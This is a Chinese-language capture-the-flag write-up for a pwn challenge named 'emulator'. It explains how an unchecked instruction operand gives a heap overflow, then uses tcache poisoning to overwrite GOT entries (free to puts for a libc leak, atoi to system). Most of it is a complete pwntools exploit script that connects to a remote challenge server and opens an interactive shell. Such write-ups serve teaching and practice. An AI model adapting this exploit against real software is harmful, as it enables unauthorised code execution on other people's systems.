程序分析
- 指令是4B一组,共32位,第一种指令格式为|6|5|5|16|,代表指令类型、Ope1、Ope2、Ope3
先不关注第二种指令类型
根据BrainFuck的经验,考虑这里有没有Stack/Buffer的溢出,Stack在bss上,溢出只能打到stdou指针,很少是这种。Buffer在堆上,堆溢出较为常见,并且是2.27的libc。因此本题思路位:通过指令的不合法操作数,造成堆溢出来getshell
思路
先考虑咋构造处一个堆溢出,考虑指令0x2B,只要让stack[Ope1]+Ope3大于申请的堆长度即可,]
Buffer为0x10000
Ope3有16bit,最大为0xFFFF,只要Stack[Ope1]大于1就有一个堆溢出
因为got保护不全,所以直接劫持到got表
还有个问题,题目只能先free再malloc,对于T->A->B的情况,会永远也申请不到B
这里有两个解决方法:
- 再次利用堆溢出,修改A的size
- 直接利用partial overwite打Tcache结构体
由于先free在malloc的限制,无法构造出堆上T->A->B的情况,所以只能修改size来大got表
下面考虑怎么泄露地址
如果打free@got会造成puts@got为空
Tcache分配到got表前面即可
EXP
#! /usr/bin/python
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#sh = process('./emulator')
elf = ELF('./emulator')
libc = ELF('./libc.so.6')
sh = remote('123.56.52.128', 18236)
#proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
def Log(val):
log.success('%s = %s'%(str(val), hex(eval(val))))
#|6|5|5|16|
def MakeIns(cmd1, ope1, ope2, ope3):
return p32((ope3)|(ope2<<16)|(ope1<<21)|(cmd1<<26))
def Cmd(i):
sh.sendlineafter('>> ', str(i))
def Input(L, ins):
Cmd(1)
sh.sendlineafter('instruction size:\n', str(L))
sh.recvuntil('instruction:\n')
sh.send(ins)
def Run():
Cmd(2)
def WriteByte(pos, val):
ins = MakeIns(0x8, 0, 1, pos+1) #Stack[1] = Stack[0] + pos = pos
ins+= MakeIns(0x8, 2, 3, val) #Stack[3] = Stack[2] + val = val
ins+= MakeIns(0x2B, 1, 3, 0xFFFF)
return ins
Input(0x50, 'A'*0x50) #Tcahce->A
Input(0x60, 'C'*0x60)
ins = WriteByte(16, 0x10) #Tcache->A->free@GOT-8
ins+= WriteByte(17, 0x20)
ins+= WriteByte(18, 0x60)
Input(len(ins), ins)
Run()
ins = WriteByte(8, 0x51) #foirge chunk1's size
Input(0x50, ins.ljust(0x50, '\x00'))#Tcache->free@GOT-8
Run()
Input(0x50, p64(elf.plt['puts'])*2)#free@GOT=puts@PLT
ins = WriteByte(16, 0x58) #Tcahce->0x50->atoi@GOT
ins+= WriteByte(17, 0x20)
ins+= WriteByte(18, 0x60)
Input(len(ins), ins)
Run()
Input(0x40, 'B'*0x40)
Input(0x40, p8(0xa0))
Cmd(1)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - libc.symbols['atoi']
Log('libc.address')
sh.sendlineafter('instruction size:\n', str(0x30))
sh.recvuntil('instruction:\n')
sh.send('B'*0x30)
ins = WriteByte(0x60+16, 0x58) #Tcahce->0x70->atoi@GOT
ins+= WriteByte(0x60+17, 0x20)
ins+= WriteByte(0x60+18, 0x60)
Input(len(ins), ins)
Run()
Input(0x60, 'C'*0x60)
Input(0x60, p64(libc.symbols['system']))
sh.recvuntil('>> ')
sh.send('/bin/sh\x00')
#gdb.attach(sh, 'break *0x4011EC')
sh.interactive()
'''
Run High6bit!=0 0x400E9F
ReadIns 0x400A40
switch jmp 0x400ECB
malloc 0x4011EC
Stack 0x6020E0
Buffer
'''
总结
利用模拟器的边界未检查得到一个堆溢出,然后利用Tcache打GOT表
但这里的malloc最后会有一个mov [rdx+0x8], 0;指令,导致直接覆盖free时会让puts为0,可以通过分配到free@GOT-0x8解决
劫持free为puts之后再次劫持Tcache分配chunk到GOT表,这样在free时就可以泄露libc地址
然后再次劫持Tcache分配chunk到GOT表,修改atoi为system从而getshell